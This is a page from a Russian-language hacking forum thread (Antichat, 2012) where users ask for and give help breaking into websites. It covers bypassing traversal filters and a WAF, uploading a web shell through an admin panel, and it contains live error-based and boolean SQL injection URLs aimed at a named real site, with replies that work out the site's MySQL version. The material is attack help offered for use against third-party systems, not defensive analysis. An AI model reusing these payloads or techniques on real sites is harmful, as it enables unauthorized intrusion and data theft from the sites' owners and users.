HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2060 из 2438 « Первая < 10601560196020102050 2056 2057 2058 2059 2060 2061 2062 2063 2064 207021102160 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #20591  
Старый 06.05.2012, 19:32
TorRom
Новичок
Регистрация: 29.04.2012
Сообщений: 15
С нами: 7388246

Репутация: 0
По умолчанию
Существует ли альтернатива для поднятия на директорию выше?

Код:
/../
\..\
/..\
\../
^^ фильтруются

Подняться на одну могу через ../ Выше никак.

Выдаёт:

Код:
Forbidden

You don't have permission to access /script.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
 
Ответить с цитированием

  #20592  
Старый 06.05.2012, 20:06
mironich
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами: 8003126

Репутация: 19


По умолчанию
Цитата:
Сообщение от None  
Не знаю туда или нет, но все-таки спрошу:
Есть доступ к админке, там есть возможность заливки pdf файла. В итоге файл получает ссылку вида http://shell.com/download.php?id=418.
В БД никаких упоминай о файле... По крайней мере в данных к которым у меня есть доступ.
Вопрос в том как этот файл запустить.
P.S По этой ссылке выдает ошибку "Не удалось загрузить документ PDF.
Не как, надо грузить на серв(ИЩИ В АДМИНКЕ НАСТРОЙКИ ЗАГРУЗКИ).

Цитата:
Сообщение от None  
Выше никак.
Прав не хватает?
 
Ответить с цитированием

  #20593  
Старый 06.05.2012, 20:15
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
to TorRom

Может быть WAF? Как вариант
 
Ответить с цитированием

  #20594  
Старый 06.05.2012, 21:02
TorRom
Новичок
Регистрация: 29.04.2012
Сообщений: 15
С нами: 7388246

Репутация: 0
По умолчанию
Цитата:
Сообщение от mironich  
Прав не хватает?
Я не так далеко лезу. Должно хватать. Не выше корня сайта.

Цитата:
Сообщение от cat1vo  
to
TorRom
Может быть WAF? Как вариант
Да, это WAF. Проверил, если запрос содержит:

Код:
union
#00
alert(
Получаем 403 Forbidden

allow_url_include=on по всей видимости, фишка с data не работает. Есть ещё способы?
 
Ответить с цитированием

  #20595  
Старый 07.05.2012, 01:15
--=[Bob]=--
Познающий
Регистрация: 08.03.2011
Сообщений: 51
С нами: 7990166

Репутация: 1
По умолчанию
Можно ли Залить шелл на ipb 3.6.x ? Есть доступ к админке
 
Ответить с цитированием

  #20596  
Старый 07.05.2012, 01:51
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
to --=[Bob]=--

Последняя версия — IPB 3.3.0: 21 марта 2012

Вы, ничего не путаете?
 
Ответить с цитированием

  #20597  
Старый 07.05.2012, 02:55
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
Guys. I got version working perfectly.

Код:
http://af-art.be/common/catalog2.php?g_id=3+or+1+group+by+concat_ws%280x7e,version%28%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--
I cannot grab tables.
 
Ответить с цитированием

  #20598  
Старый 07.05.2012, 03:40
Га-Ноцри
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами: 7670486

Репутация: 76
По умолчанию
Цитата:
Сообщение от lightangel  
Guys. I got version working perfectly.
Код:
http://af-art.be/common/catalog2.php?g_id=3+or+1+group+by+concat_ws%280x7e,version%28%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--
I cannot grab tables.
Because there is no `information_schema.table`. Logically, is not it?
 
Ответить с цитированием

  #20599  
Старый 07.05.2012, 03:50
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
But this is version 5.

Only version 4 has no `information_schema.table`.
 
Ответить с цитированием

  #20600  
Старый 07.05.2012, 03:53
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
Код:
Duplicate entry '3.23.58~1' for key 1

http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(4)
http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(3)
You have 3.23.58 version of MySQL. Information_schema appeared in the 5 version of MySQL
 
Ответить с цитированием
Ответ
Страница 2060 из 2438 « Первая < 10601560196020102050 2056 2057 2058 2059 2060 2061 2062 2063 2064 207021102160 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.